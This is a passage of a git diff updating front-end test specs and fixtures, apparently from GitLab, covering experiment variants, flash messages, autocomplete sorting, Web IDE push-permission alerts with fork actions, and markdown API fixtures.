});
});
describe('isExperimentVariant', () => {
+ describe.each`
+ gon | input | output
+ ${[TEST_KEY, DEFAULT_VARIANT]} | ${[TEST_KEY, DEFAULT_VARIANT]} | ${true}
+ ${[TEST_KEY, '_variant_name']} | ${[TEST_KEY, '_variant_name']} | ${true}
+ ${[TEST_KEY, '_variant_name']} | ${[TEST_KEY, '_bogus_name']} | ${false}
+ ${[TEST_KEY, '_variant_name']} | ${['boguskey', '_variant_name']} | ${false}
+ ${[]} | ${[TEST_KEY, '_variant_name']} | ${false}
+ `('with input=$input and gon=$gon', ({ gon, input, output }) => {
+ assignGitlabExperiment(...gon);
+
+ it(`returns ${output}`, () => {
+ expect(experimentUtils.isExperimentVariant(...input)).toEqual(output);
+ });
+ });
+ });
+
+ describe('experiment', () => {
+ const controlSpy = jest.fn();
+ const candidateSpy = jest.fn();
+ const getUpStandUpSpy = jest.fn();
+
+ const variants = {
+ use: controlSpy,
+ try: candidateSpy,
+ get_up_stand_up: getUpStandUpSpy,
+ };
+
+ describe('when there is no experiment data', () => {
+ it('calls control variant', () => {
+ experimentUtils.experiment('marley', variants);
+ expect(controlSpy).toHaveBeenCalled();
+ });
+ });
+
+ describe('when experiment variant is "control"', () => {
+ assignGitlabExperiment('marley', DEFAULT_VARIANT);
+
+ it('calls the control variant', () => {
+ experimentUtils.experiment('marley', variants);
+ expect(controlSpy).toHaveBeenCalled();
+ });
+ });
+
+ describe('when experiment variant is "candidate"', () => {
+ assignGitlabExperiment('marley', CANDIDATE_VARIANT);
+
+ it('calls the candidate variant', () => {
+ experimentUtils.experiment('marley', variants);
+ expect(candidateSpy).toHaveBeenCalled();
+ });
+ });
+
+ describe('when experiment variant is "get_up_stand_up"', () => {
+ assignGitlabExperiment('marley', 'get_up_stand_up');
+
+ it('calls the get-up-stand-up variant', () => {
+ experimentUtils.experiment('marley', variants);
+ expect(getUpStandUpSpy).toHaveBeenCalled();
+ });
+ });
+ });
+
+ describe('getExperimentVariant', () => {
it.each`
- gon | input | output
- ${{ experiment: { [TEST_KEY]: { variant: 'control' } } }} | ${[TEST_KEY, 'control']} | ${true}
- ${{ experiment: { [TEST_KEY]: { variant: '_variant_name' } } }} | ${[TEST_KEY, '_variant_name']} | ${true}
- ${{ experiment: { [TEST_KEY]: { variant: '_variant_name' } } }} | ${[TEST_KEY, '_bogus_name']} | ${false}
- ${{ experiment: { [TEST_KEY]: { variant: '_variant_name' } } }} | ${['boguskey', '_variant_name']} | ${false}
- ${{}} | ${[TEST_KEY, '_variant_name']} | ${false}
+ gon | input | output
+ ${{ experiment: { [TEST_KEY]: { variant: DEFAULT_VARIANT } } }} | ${[TEST_KEY]} | ${DEFAULT_VARIANT}
+ ${{ experiment: { [TEST_KEY]: { variant: CANDIDATE_VARIANT } } }} | ${[TEST_KEY]} | ${CANDIDATE_VARIANT}
+ ${{}} | ${[TEST_KEY]} | ${DEFAULT_VARIANT}
`('with input=$input and gon=$gon, returns $output', ({ gon, input, output }) => {
window.gon = gon;
- expect(experimentUtils.isExperimentVariant(...input)).toEqual(output);
+ expect(experimentUtils.getExperimentVariant(...input)).toEqual(output);
});
});
});
diff --git a/spec/frontend/feature_flags/components/form_spec.js b/spec/frontend/feature_flags/components/form_spec.js
index a05e23a4250..00d557c11cf 100644
--- a/spec/frontend/feature_flags/components/form_spec.js
+++ b/spec/frontend/feature_flags/components/form_spec.js
@@ -123,6 +123,10 @@ describe('feature flag form', () => {
});
});
+ it('has label', () => {
+ expect(findGlToggle().props('label')).toBe(Form.i18n.statusLabel);
+ });
+
it('should be disabled if the feature flag is not active', (done) => {
wrapper.setProps({ active: false });
wrapper.vm.$nextTick(() => {
diff --git a/spec/frontend/feature_highlight/feature_highlight_popover_spec.js b/spec/frontend/feature_highlight/feature_highlight_popover_spec.js
index 1d558366ce8..e5e3974e103 100644
--- a/spec/frontend/feature_highlight/feature_highlight_popover_spec.js
+++ b/spec/frontend/feature_highlight/feature_highlight_popover_spec.js
@@ -41,7 +41,6 @@ describe('feature_highlight/feature_highlight_popover', () => {
expect(findPopover().props()).toMatchObject({
target: POPOVER_TARGET_ID,
cssClasses: ['feature-highlight-popover'],
- triggers: 'hover',
container: 'body',
placement: 'right',
boundary: 'viewport',
diff --git a/spec/frontend/fixtures/api_markdown.rb b/spec/frontend/fixtures/api_markdown.rb
new file mode 100644
index 00000000000..e012d922aad
--- /dev/null
+++ b/spec/frontend/fixtures/api_markdown.rb
@@ -0,0 +1,34 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe API::MergeRequests, '(JavaScript fixtures)', type: :request do
+ include ApiHelpers
+ include JavaScriptFixturesHelpers
+
+ fixture_subdir = 'api/markdown'
+
+ before(:all) do
+ clean_frontend_fixtures(fixture_subdir)
+ end
+
+ markdown_examples = begin
+ yaml_file_path = File.expand_path('api_markdown.yml', __dir__)
+ yaml = File.read(yaml_file_path)
+ YAML.safe_load(yaml, symbolize_names: true)
+ end
+
+ markdown_examples.each do |markdown_example|
+ name = markdown_example.fetch(:name)
+
+ context "for #{name}" do
+ let(:markdown) { markdown_example.fetch(:markdown) }
+
+ it "#{fixture_subdir}/#{name}.json" do
+ post api("/markdown"), params: { text: markdown }
+
+ expect(response).to be_successful
+ end
+ end
+ end
+end
diff --git a/spec/frontend/fixtures/api_markdown.yml b/spec/frontend/fixtures/api_markdown.yml
new file mode 100644
index 00000000000..a83d5374e2c
--- /dev/null
+++ b/spec/frontend/fixtures/api_markdown.yml
@@ -0,0 +1,50 @@
+# This data file drives the specs in
+# spec/frontend/fixtures/api_markdown.rb and
+# spec/frontend/rich_text_editor/extensions/markdown_processing_spec.js
+---
+- name: bold
+ markdown: '**bold**'
+- name: emphasis
+ markdown: '_emphasized text_'
+- name: inline_code
+ markdown: '`code`'
+- name: link
+ markdown: '[GitLab](https://gitlab.com)'
+- name: code_block
+ markdown: |-
+ ```javascript
+ console.log('hello world')
+ ```
+- name: headings
+ markdown: |-
+ # Heading 1
+
+ ## Heading 2
+
+ ### Heading 3
+
+ #### Heading 4
+
+ ##### Heading 5
+
+ ###### Heading 6
+- name: blockquote
+ markdown: |-
+ > This is a blockquote
+ >
+ > This is another one
+- name: thematic_break
+ markdown: |-
+ ---
+- name: bullet_list
+ markdown: |-
+ * list item 1
+ * list item 2
+ * embedded list item 3
+- name: ordered_list
+ markdown: |-
+ 1. list item 1
+ 2. list item 2
+ 3. list item 3
+- name: image
+ markdown: '![alt text](https://gitlab.com/logo.png)'
diff --git a/spec/frontend/fixtures/autocomplete.rb b/spec/frontend/fixtures/autocomplete.rb
new file mode 100644
index 00000000000..8983e241aa5
--- /dev/null
+++ b/spec/frontend/fixtures/autocomplete.rb
@@ -0,0 +1,41 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe ::AutocompleteController, '(JavaScript fixtures)', type: :controller do
+ include JavaScriptFixturesHelpers
+
+ let_it_be(:user) { create(:user) }
+ let_it_be(:group) { create(:group, name: 'frontend-fixtures') }
+
+ let(:project) { create(:project, namespace: group, path: 'autocomplete-project') }
+ let(:merge_request) { create(:merge_request, source_project: project, author: user) }
+
+ before(:all) do
+ clean_frontend_fixtures('autocomplete/')
+ end
+
+ before do
+ group.add_owner(user)
+ sign_in(user)
+ end
+
+ it 'autocomplete/users.json' do
+ 20.times do
+ user = create(:user)
+ project.add_developer(user)
+ end
+
+ get :users,
+ format: :json,
+ params: {
+ project_id: project.id,
+ active: true,
+ current_user: true,
+ author: merge_request.author.id,
+ merge_request_iid: merge_request.iid
+ }
+
+ expect(response).to be_successful
+ end
+end
diff --git a/spec/frontend/fixtures/issues.rb b/spec/frontend/fixtures/issues.rb
index d6f6ed97626..a027247bd0d 100644
--- a/spec/frontend/fixtures/issues.rb
+++ b/spec/frontend/fixtures/issues.rb
@@ -16,8 +16,6 @@ RSpec.describe Projects::IssuesController, '(JavaScript fixtures)', type: :contr
end
before do
- stub_feature_flags(boards_filtered_search: false)
-
project.add_maintainer(user)
sign_in(user)
end
diff --git a/spec/frontend/fixtures/merge_requests_diffs.rb b/spec/frontend/fixtures/merge_requests_diffs.rb
index 5ad4176f7b8..edf1fcf3c0a 100644
--- a/spec/frontend/fixtures/merge_requests_diffs.rb
+++ b/spec/frontend/fixtures/merge_requests_diffs.rb
@@ -25,6 +25,10 @@ RSpec.describe Projects::MergeRequests::DiffsController, '(JavaScript fixtures)'
end
before do
+ # Create a user that matches the project.commit author
+ # This is so that the "author" information will be populated
+ create(:user, email: project.commit.author_email, name: project.commit.author_name)
+
sign_in(user)
end
@@ -33,17 +37,21 @@ RSpec.describe Projects::MergeRequests::DiffsController, '(JavaScript fixtures)'
end
it 'merge_request_diffs/with_commit.json' do
- # Create a user that matches the project.commit author
- # This is so that the "author" information will be populated
- create(:user, email: project.commit.author_email, name: project.commit.author_name)
-
render_merge_request(merge_request, commit_id: project.commit.sha)
end
+ it 'merge_request_diffs/diffs_metadata.json' do
+ render_merge_request(merge_request, action: :diffs_metadata)
+ end
+
+ it 'merge_request_diffs/diffs_batch.json' do
+ render_merge_request(merge_request, action: :diffs_batch, page: 1, per_page: 30)
+ end
+
private
- def render_merge_request(merge_request, view: 'inline', **extra_params)
- get :show, params: {
+ def render_merge_request(merge_request, action: :show, view: 'inline', **extra_params)
+ get action, params: {
namespace_id: project.namespace.to_param,
project_id: project,
id: merge_request.to_param,
diff --git a/spec/frontend/fixtures/static/mini_dropdown_graph.html b/spec/frontend/fixtures/static/mini_dropdown_graph.html
deleted file mode 100644
index cde811d4f52..00000000000
--- a/spec/frontend/fixtures/static/mini_dropdown_graph.html
+++ /dev/null
@@ -1,13 +0,0 @@
-<div class="js-builds-dropdown-tests dropdown dropdown" data-testid="widget-mini-pipeline-graph">
- <button class="js-builds-dropdown-button" data-toggle="dropdown" data-stage-endpoint="foobar">
- Dropdown
- </button>
- <ul class="dropdown-menu mini-pipeline-graph-dropdown-menu js-builds-dropdown-container">
- <li class="js-builds-dropdown-list scrollable-menu">
- <ul></ul>
- </li>
- <li class="js-builds-dropdown-loading hidden">
- <span class="gl-spinner"></span>
- </li>
- </ul>
-</div>
diff --git a/spec/frontend/fixtures/static/whats_new_notification.html b/spec/frontend/fixtures/static/whats_new_notification.html
index 30d5eea91cc..3b4dbdf7d36 100644
--- a/spec/frontend/fixtures/static/whats_new_notification.html
+++ b/spec/frontend/fixtures/static/whats_new_notification.html
@@ -1,5 +1,5 @@
<div class='whats-new-notification-fixture-root'>
- <div class='app' data-storage-key='storage-key'></div>
+ <div class='app' data-version-digest='version-digest'></div>
<div class='header-help'>
<div class='js-whats-new-notification-count'></div>
</div>
diff --git a/spec/frontend/flash_spec.js b/spec/frontend/flash_spec.js
index 228c897ab00..6d482e5814d 100644
--- a/spec/frontend/flash_spec.js
+++ b/spec/frontend/flash_spec.js
@@ -126,9 +126,17 @@ describe('Flash', () => {
});
describe('deprecatedCreateFlash', () => {
+ const message = 'test';
+ const type = 'alert';
+ const parent = document;
+ const actionConfig = null;
+ const fadeTransition = false;
+ const addBodyClass = true;
+ const defaultParams = [message, type, parent, actionConfig, fadeTransition, addBodyClass];
+
describe('no flash-container', () => {
it('does not add to the DOM', () => {
- const flashEl = deprecatedCreateFlash('testing');
+ const flashEl = deprecatedCreateFlash(message);
expect(flashEl).toBeNull();
@@ -138,11 +146,9 @@ describe('Flash', () => {
describe('with flash-container', () => {
beforeEach(() => {
- document.body.innerHTML += `
- <div class="content-wrapper js-content-wrapper">
- <div class="flash-container"></div>
- </div>
- `;
+ setFixtures(
+ '<div class="content-wrapper js-content-wrapper"><div class="flash-container"></div></div>',
+ );
});
afterEach(() => {
@@ -150,7 +156,7 @@ describe('Flash', () => {
});
it('adds flash element into container', () => {
- deprecatedCreateFlash('test', 'alert', document, null, false, true);
+ deprecatedCreateFlash(...defaultParams);
expect(document.querySelector('.flash-alert')).not.toBeNull();
@@ -158,26 +164,35 @@ describe('Flash', () => {
});
it('adds flash into specified parent', () => {
- deprecatedCreateFlash('test', 'alert', document.querySelector('.content-wrapper'));
+ deprecatedCreateFlash(
+ message,
+ type,
+ document.querySelector('.content-wrapper'),
+ actionConfig,
+ fadeTransition,
+ addBodyClass,
+ );
expect(document.querySelector('.content-wrapper .flash-alert')).not.toBeNull();
+ expect(document.querySelector('.content-wrapper').innerText.trim()).toEqual(message);
});
it('adds container classes when inside content-wrapper', () => {
- deprecatedCreateFlash('test');
+ deprecatedCreateFlash(...defaultParams);
expect(document.querySelector('.flash-text').className).toBe('flash-text');
+ expect(document.querySelector('.content-wrapper').innerText.trim()).toEqual(message);
});
it('does not add container when outside of content-wrapper', () => {
document.querySelector('.content-wrapper').className = 'js-content-wrapper';
- deprecatedCreateFlash('test');
+ deprecatedCreateFlash(...defaultParams);
expect(document.querySelector('.flash-text').className.trim()).toContain('flash-text');
});
it('removes element after clicking', () => {
- deprecatedCreateFlash('test', 'alert', document, null, false, true);
+ deprecatedCreateFlash(...defaultParams);
document.querySelector('.flash-alert .js-close-icon').click();
@@ -188,24 +203,37 @@ describe('Flash', () => {
describe('with actionConfig', () => {
it('adds action link', () => {
- deprecatedCreateFlash('test', 'alert', document, {
- title: 'test',
- });
+ const newActionConfig = { title: 'test' };
+ deprecatedCreateFlash(
+ message,
+ type,
+ parent,
+ newActionConfig,
+ fadeTransition,
+ addBodyClass,
+ );
expect(document.querySelector('.flash-action')).not.toBeNull();
});
it('calls actionConfig clickHandler on click', () => {
- const actionConfig = {
+ const newActionConfig = {
title: 'test',
clickHandler: jest.fn(),
};
- deprecatedCreateFlash('test', 'alert', document, actionConfig);
+ deprecatedCreateFlash(
+ message,
+ type,
+ parent,
+ newActionConfig,
+ fadeTransition,
+ addBodyClass,
+ );
document.querySelector('.flash-action').click();
- expect(actionConfig.clickHandler).toHaveBeenCalled();
+ expect(newActionConfig.clickHandler).toHaveBeenCalled();
});
});
});
diff --git a/spec/frontend/gfm_auto_complete_spec.js b/spec/frontend/gfm_auto_complete_spec.js
index 13dbda9cf55..5453c93eac3 100644
--- a/spec/frontend/gfm_auto_complete_spec.js
+++ b/spec/frontend/gfm_auto_complete_spec.js
@@ -665,6 +665,41 @@ describe('GfmAutoComplete', () => {
expect(GfmAutoComplete.Members.nameOrUsernameIncludes(member, query)).toBe(result);
});
});
+
+ describe('sorter', () => {
+ const query = 'c';
+
+ const items = [
+ { search: 'DougHackett elayne.krieger' },
+ { search: 'BerylHuel cherie.block' },
+ { search: 'ErlindaMayert nicolle' },
+ { search: 'Administrator root' },
+ { search: 'PhoebeSchaden salina' },
+ { search: 'CatherinTerry tommy.will' },
+ { search: 'AntoineLedner ammie' },
+ { search: 'KinaCummings robena' },
+ { search: 'CharlsieHarber xzbdulia' },
+ ];
+
+ const expected = [
+ // Members whose name/username starts with `c` are grouped first
+ { search: 'BerylHuel cherie.block' },
+ { search: 'CatherinTerry tommy.will' },
+ { search: 'CharlsieHarber xzbdulia' },
+ // Members whose name/username contains `c` are grouped second
+ { search: 'DougHackett elayne.krieger' },
+ { search: 'ErlindaMayert nicolle' },
+ { search: 'PhoebeSchaden salina' },
+ { search: 'KinaCummings robena' },
+ // Remaining members are grouped last
+ { search: 'Administrator root' },
+ { search: 'AntoineLedner ammie' },
+ ];
+
+ it('sorts by match with start of name/username, then match with any part of name/username, and maintains sort order', () => {
+ expect(GfmAutoComplete.Members.sort(query, items)).toMatchObject(expected);
+ });
+ });
});
});
diff --git a/spec/frontend/grafana_integration/components/__snapshots__/grafana_integration_spec.js.snap b/spec/frontend/grafana_integration/components/__snapshots__/grafana_integration_spec.js.snap
index 2e02159a20c..1d2a5d636bc 100644
--- a/spec/frontend/grafana_integration/components/__snapshots__/grafana_integration_spec.js.snap
+++ b/spec/frontend/grafana_integration/components/__snapshots__/grafana_integration_spec.js.snap
@@ -9,7 +9,7 @@ exports[`grafana integration component default state to match the default snapsh
class="settings-header"
>
<h4
- class="js-section-header"
+ class="js-section-header settings-title js-settings-toggle js-settings-toggle-trigger-only"
>
Grafana authentication
diff --git a/spec/frontend/ide/components/cannot_push_code_alert_spec.js b/spec/frontend/ide/components/cannot_push_code_alert_spec.js
new file mode 100644
index 00000000000..ff659ecdf3f
--- /dev/null
+++ b/spec/frontend/ide/components/cannot_push_code_alert_spec.js
@@ -0,0 +1,72 @@
+import { GlButton, GlAlert } from '@gitlab/ui';
+import { shallowMount } from '@vue/test-utils';
+import { stubComponent } from 'helpers/stub_component';
+import CannotPushCodeAlert from '~/ide/components/cannot_push_code_alert.vue';
+
+const TEST_MESSAGE = 'Hello test message!';
+const TEST_HREF = '/test/path/to/fork';
+const TEST_BUTTON_TEXT = 'Fork text';
+
+describe('ide/components/cannot_push_code_alert', () => {
+ let wrapper;
+
+ afterEach(() => {
+ wrapper.destroy();
+ });
+
+ const createComponent = (props = {}) => {
+ wrapper = shallowMount(CannotPushCodeAlert, {
+ propsData: {
+ message: TEST_MESSAGE,
+ ...props,
+ },
+ stubs: {
+ GlAlert: {
+ ...stubComponent(GlAlert),
+ template: `<div><slot></slot><slot name="actions"></slot></div>`,
+ },
+ },
+ });
+ };
+
+ const findAlert = () => wrapper.findComponent(GlAlert);
+ const findButtonData = () => {
+ const button = findAlert().findComponent(GlButton);
+
+ if (!button.exists()) {
+ return null;
+ }
+
+ return {
+ href: button.attributes('href'),
+ method: button.attributes('data-method'),
+ text: button.text(),
+ };
+ };
+
+ describe('without actions', () => {
+ beforeEach(() => {
+ createComponent();
+ });
+
+ it('shows alert with message', () => {
+ expect(findAlert().props()).toMatchObject({ dismissible: false });
+ expect(findAlert().text()).toBe(TEST_MESSAGE);
+ });
+ });
+
+ describe.each`
+ action | buttonData
+ ${{}} | ${null}
+ ${{ href: TEST_HREF, text: TEST_BUTTON_TEXT }} | ${{ href: TEST_HREF, text: TEST_BUTTON_TEXT }}
+ ${{ href: TEST_HREF, text: TEST_BUTTON_TEXT, isForm: true }} | ${{ href: TEST_HREF, text: TEST_BUTTON_TEXT, method: 'post' }}
+ `('with action=$action', ({ action, buttonData }) => {
+ beforeEach(() => {
+ createComponent({ action });
+ });
+
+ it(`show button=${JSON.stringify(buttonData)}`, () => {
+ expect(findButtonData()).toEqual(buttonData);
+ });
+ });
+});
diff --git a/spec/frontend/ide/components/commit_sidebar/form_spec.js b/spec/frontend/ide/components/commit_sidebar/form_spec.js
index 083a2a73b24..f5916b021aa 100644
--- a/spec/frontend/ide/components/commit_sidebar/form_spec.js
+++ b/spec/frontend/ide/components/commit_sidebar/form_spec.js
@@ -14,7 +14,7 @@ import {
createBranchChangedCommitError,
branchAlreadyExistsCommitError,
} from '~/ide/lib/errors';
-import { MSG_CANNOT_PUSH_CODE_SHORT } from '~/ide/messages';
+import { MSG_CANNOT_PUSH_CODE } from '~/ide/messages';
import { createStore } from '~/ide/stores';
import { COMMIT_TO_NEW_BRANCH } from '~/ide/stores/modules/commit/constants';
@@ -85,8 +85,8 @@ describe('IDE commit form', () => {
${'when there are no changes'} | ${[]} | ${{ pushCode: true }} | ${goToEditView} | ${findBeginCommitButtonData} | ${true} | ${''}
${'when there are changes'} | ${['test']} | ${{ pushCode: true }} | ${goToEditView} | ${findBeginCommitButtonData} | ${false} | ${''}
${'when there are changes'} | ${['test']} | ${{ pushCode: true }} | ${goToCommitView} | ${findCommitButtonData} | ${false} | ${''}
- ${'when user cannot push'} | ${['test']} | ${{ pushCode: false }} | ${goToEditView} | ${findBeginCommitButtonData} | ${true} | ${MSG_CANNOT_PUSH_CODE_SHORT}
- ${'when user cannot push'} | ${['test']} | ${{ pushCode: false }} | ${goToCommitView} | ${findCommitButtonData} | ${true} | ${MSG_CANNOT_PUSH_CODE_SHORT}
+ ${'when user cannot push'} | ${['test']} | ${{ pushCode: false }} | ${goToEditView} | ${findBeginCommitButtonData} | ${true} | ${MSG_CANNOT_PUSH_CODE}
+ ${'when user cannot push'} | ${['test']} | ${{ pushCode: false }} | ${goToCommitView} | ${findCommitButtonData} | ${true} | ${MSG_CANNOT_PUSH_CODE}
`('$desc', ({ stagedFiles, userPermissions, viewFn, buttonFn, disabled, tooltip }) => {
beforeEach(async () => {
store.state.stagedFiles = stagedFiles;
diff --git a/spec/frontend/ide/components/ide_spec.js b/spec/frontend/ide/components/ide_spec.js
index bd251f78654..b23a78a035d 100644
--- a/spec/frontend/ide/components/ide_spec.js
+++ b/spec/frontend/ide/components/ide_spec.js
@@ -1,10 +1,10 @@
-import { GlAlert } from '@gitlab/ui';
import { createLocalVue, shallowMount } from '@vue/test-utils';
import Vuex from 'vuex';
import waitForPromises from 'helpers/wait_for_promises';
+import CannotPushCodeAlert from '~/ide/components/cannot_push_code_alert.vue';
import ErrorMessage from '~/ide/components/error_message.vue';
import Ide from '~/ide/components/ide.vue';
-import { MSG_CANNOT_PUSH_CODE } from '~/ide/messages';
+import { MSG_CANNOT_PUSH_CODE_GO_TO_FORK, MSG_GO_TO_FORK } from '~/ide/messages';
import { createStore } from '~/ide/stores';
import { file } from '../helpers';
import { projectData } from '../mock_data';
@@ -12,14 +12,15 @@ import { projectData } from '../mock_data';
const localVue = createLocalVue();
localVue.use(Vuex);
+const TEST_FORK_IDE_PATH = '/test/ide/path';
+
describe('WebIDE', () => {
const emptyProjData = { ...projectData, empty_repo: true, branches: {} };
+ let store;
let wrapper;
const createComponent = ({ projData = emptyProjData, state = {} } = {}) => {
- const store = createStore();
-
store.state.currentProjectId = 'abcproject';
store.state.currentBranchId = 'master';
store.state.projects.abcproject = projData && { ...projData };
@@ -37,7 +38,11 @@ describe('WebIDE', () => {
});
};
- const findAlert = () => wrapper.find(GlAlert);
+ const findAlert = () => wrapper.findComponent(CannotPushCodeAlert);
+
+ beforeEach(() => {
+ store = createStore();
+ });
afterEach(() => {
wrapper.destroy();
@@ -148,6 +153,12 @@ describe('WebIDE', () => {
});
it('when user cannot push code, shows alert', () => {
+ store.state.links = {
+ forkInfo: {
+ ide_path: TEST_FORK_IDE_PATH,
+ },
+ };
+
createComponent({
projData: {
userPermissions: {
@@ -157,9 +168,12 @@ describe('WebIDE', () => {
});
expect(findAlert().props()).toMatchObject({
- dismissible: false,
+ message: MSG_CANNOT_PUSH_CODE_GO_TO_FORK,
+ action: {
+ href: TEST_FORK_IDE_PATH,
+ text: MSG_GO_TO_FORK,
+ },
});
- expect(findAlert().text()).toBe(MSG_CANNOT_PUSH_CODE);
});
it.each`
diff --git a/spec/frontend/ide/stores/getters_spec.js b/spec/frontend/ide/stores/getters_spec.js
index 6b66c87e205..06456cdb12a 100644
--- a/spec/frontend/ide/stores/getters_spec.js
+++ b/spec/frontend/ide/stores/getters_spec.js
@@ -6,25 +6,40 @@ import {
} from '~/ide/constants';
import {
MSG_CANNOT_PUSH_CODE,
- MSG_CANNOT_PUSH_CODE_SHORT,
+ MSG_CANNOT_PUSH_CODE_GO_TO_FORK,
+ MSG_CANNOT_PUSH_CODE_SHOULD_FORK,
MSG_CANNOT_PUSH_UNSIGNED,
MSG_CANNOT_PUSH_UNSIGNED_SHORT,
+ MSG_FORK,
+ MSG_GO_TO_FORK,
} from '~/ide/messages';
import { createStore } from '~/ide/stores';
import * as getters from '~/ide/stores/getters';
import { file } from '../helpers';
const TEST_PROJECT_ID = 'test_project';
+const TEST_IDE_PATH = '/test/ide/path';
+const TEST_FORK_PATH = '/test/fork/path';
describe('IDE store getters', () => {
let localState;
let localStore;
+ let origGon;
beforeEach(() => {
+ origGon = window.gon;
+
+ // Feature flag is defaulted to on in prod
+ window.gon = { features: { rejectUnsignedCommitsByGitlab: true } };
+
localStore = createStore();
localState = localStore.state;
});
+ afterEach(() => {
+ window.gon = origGon;
+ });
+
describe('activeFile', () => {
it('returns the current active file', () => {
localState.openFiles.push(file());
@@ -433,27 +448,100 @@ describe('IDE store getters', () => {
});
describe('canPushCodeStatus', () => {
- it.each`
- pushCode | rejectUnsignedCommits | expected
- ${true} | ${false} | ${{ isAllowed: true, message: '', messageShort: '' }}
- ${false} | ${false} | ${{ isAllowed: false, message: MSG_CANNOT_PUSH_CODE, messageShort: MSG_CANNOT_PUSH_CODE_SHORT }}
- ${false} | ${true} | ${{ isAllowed: false, message: MSG_CANNOT_PUSH_UNSIGNED, messageShort: MSG_CANNOT_PUSH_UNSIGNED_SHORT }}
- `(
- 'with pushCode="$pushCode" and rejectUnsignedCommits="$rejectUnsignedCommits"',
- ({ pushCode, rejectUnsignedCommits, expected }) => {
- localState.projects[TEST_PROJECT_ID] = {
- pushRules: {
- [PUSH_RULE_REJECT_UNSIGNED_COMMITS]: rejectUnsignedCommits,
+ it.each([
+ [
+ 'when can push code, and can push unsigned commits',
+ {
+ input: { pushCode: true, rejectUnsignedCommits: false },
+ output: { isAllowed: true, message: '', messageShort: '' },
+ },
+ ],
+ [
+ 'when cannot push code, and can push unsigned commits',
+ {
+ input: { pushCode: false, rejectUnsignedCommits: false },
+ output: {
+ isAllowed: false,
+ message: MSG_CANNOT_PUSH_CODE,
+ messageShort: MSG_CANNOT_PUSH_CODE,
},
- userPermissions: {
- [PERMISSION_PUSH_CODE]: pushCode,
+ },
+ ],
+ [
+ 'when cannot push code, and has ide_path in forkInfo',
+ {
+ input: {
+ pushCode: false,
+ rejectUnsignedCommits: false,
+ forkInfo: { ide_path: TEST_IDE_PATH },
},
- };
- localState.currentProjectId = TEST_PROJECT_ID;
+ output: {
+ isAllowed: false,
+ message: MSG_CANNOT_PUSH_CODE_GO_TO_FORK,
+ messageShort: MSG_CANNOT_PUSH_CODE,
+ action: { href: TEST_IDE_PATH, text: MSG_GO_TO_FORK },
+ },
+ },
+ ],
+ [
+ 'when cannot push code, and has fork_path in forkInfo',
+ {
+ input: {
+ pushCode: false,
+ rejectUnsignedCommits: false,
+ forkInfo: { fork_path: TEST_FORK_PATH },
+ },
+ output: {
+ isAllowed: false,
+ message: MSG_CANNOT_PUSH_CODE_SHOULD_FORK,
+ messageShort: MSG_CANNOT_PUSH_CODE,
+ action: { href: TEST_FORK_PATH, text: MSG_FORK, isForm: true },
+ },
+ },
+ ],
+ [
+ 'when can push code, but cannot push unsigned commits',
+ {
+ input: { pushCode: true, rejectUnsignedCommits: true },
+ output: {
+ isAllowed: false,
+ message: MSG_CANNOT_PUSH_UNSIGNED,
+ messageShort: MSG_CANNOT_PUSH_UNSIGNED_SHORT,
+ },
+ },
+ ],
+ [
+ 'when can push code, but cannot push unsigned commits, with reject_unsigned_commits_by_gitlab feature off',
+ {
+ input: {
+ pushCode: true,
+ rejectUnsignedCommits: true,
+ features: { rejectUnsignedCommitsByGitlab: false },
+ },
+ output: {
+ isAllowed: true,
+ message: '',
+ messageShort: '',
+ },
+ },
+ ],
+ ])('%s', (testName, { input, output }) => {
+ const { forkInfo, rejectUnsignedCommits, pushCode, features = {} } = input;
- expect(localStore.getters.canPushCodeStatus).toEqual(expected);
- },
- );
+ Object.assign(window.gon.features, features);
+ localState.links = { forkInfo };
+ localState.projects[TEST_PROJECT_ID] = {
+ pushRules: {
+ [PUSH_RULE_REJECT_UNSIGNED_COMMITS]: rejectUnsignedCommits,
+ },
+ userPermissions: {
+ [PERMISSION_PUSH_CODE]: pushCode,
+ },
+ };
+ localState.currentProjectId = TEST_PROJECT_ID;
+
+ expect(localStore.getters.canPushCodeStatus).toEqual(output);
+ });
});
describe('canPushCode', () => {
diff --git a/spec/frontend/incidents_settings/components/__snapshots__/incidents_settings_tabs_spec.js.snap b/spec/frontend/incidents_settings/components/__snapshots__/incidents_settings_tabs_spec.js.snap
index 4398d568501..07f90a12f0f 100644
--- a/spec/frontend/incidents_settings/components/__snapshots__/incidents_settings_tabs_spec.js.snap
+++ b/spec/frontend/incidents_settings/components/__snapshots__/incidents_settings_tabs_spec.js.snap
@@ -9,7 +9,9 @@ exports[`IncidentsSettingTabs should render the component 1`] = `
<div
class="settings-header"
>
- <h4>
+ <h4
+ class="settings-title js-settings-toggle js-settings-toggle-trigger-only"
+ >
Incidents
diff --git a/spec/frontend/integrations/edit/components/dynamic_field_spec.js b/spec/frontend/integrations/edit/components/dynamic_field_spec.js
index aaca9fc4e62..2ebb3333c0f 100644
--- a/spec/frontend/integrations/edit/components/dynamic_field_spec.js
+++ b/spec/frontend/integrations/edit/components/dynamic_field_spec.js
@@ -192,17 +192,6 @@ describe('DynamicField', () => {
expect(findGlFormGroup().find('label').text()).toBe(defaultProps.title);
});
-
- describe('for password field with some value (hidden by backend)', () => {
- it('renders label with new password title', () => {
- createComponent({
- type: 'password',
- value: 'true',
- });
-
- expect(findGlFormGroup().find('label').text()).toBe(`Enter new ${defaultProps.title}`);
- });
- });
});
describe('validations', () => {
diff --git a/spec/frontend/integrations/edit/components/jira_issues_fields_spec.js b/spec/frontend/integrations/edit/components/jira_issues_fields_spec.js
index 3938e7c7c22..d08a1904e06 100644
--- a/spec/frontend/integrations/edit/components/jira_issues_fields_spec.js
+++ b/spec/frontend/integrations/edit/components/jira_issues_fields_spec.js
@@ -1,7 +1,7 @@
import { GlFormCheckbox, GlFormInput } from '@gitlab/ui';
import { mount } from '@vue/test-utils';
-
import JiraIssuesFields from '~/integrations/edit/components/jira_issues_fields.vue';
+import JiraUpgradeCta from '~/integrations/edit/components/jira_upgrade_cta.vue';
import eventHub from '~/integrations/edit/event_hub';
describe('JiraIssuesFields', () => {
@@ -28,23 +28,46 @@ describe('JiraIssuesFields', () => {
}
});
- const findEnableCheckbox = () => wrapper.find(GlFormCheckbox);
- const findProjectKey = () => wrapper.find(GlFormInput);
- const expectedBannerText = 'This is a Premium feature';
+ const findEnableCheckbox = () => wrapper.findComponent(GlFormCheckbox);
+ const findProjectKey = () => wrapper.findComponent(GlFormInput);
+ const findJiraUpgradeCta = () => wrapper.findComponent(JiraUpgradeCta);
